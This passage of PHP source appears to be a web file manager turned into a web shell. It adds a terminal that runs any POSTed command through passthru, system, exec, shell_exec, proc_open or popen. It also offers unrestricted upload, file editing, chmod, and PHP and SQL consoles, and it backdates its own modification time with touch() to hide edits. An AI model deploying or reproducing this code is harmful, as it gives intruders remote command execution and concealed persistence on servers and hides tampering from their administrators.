<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
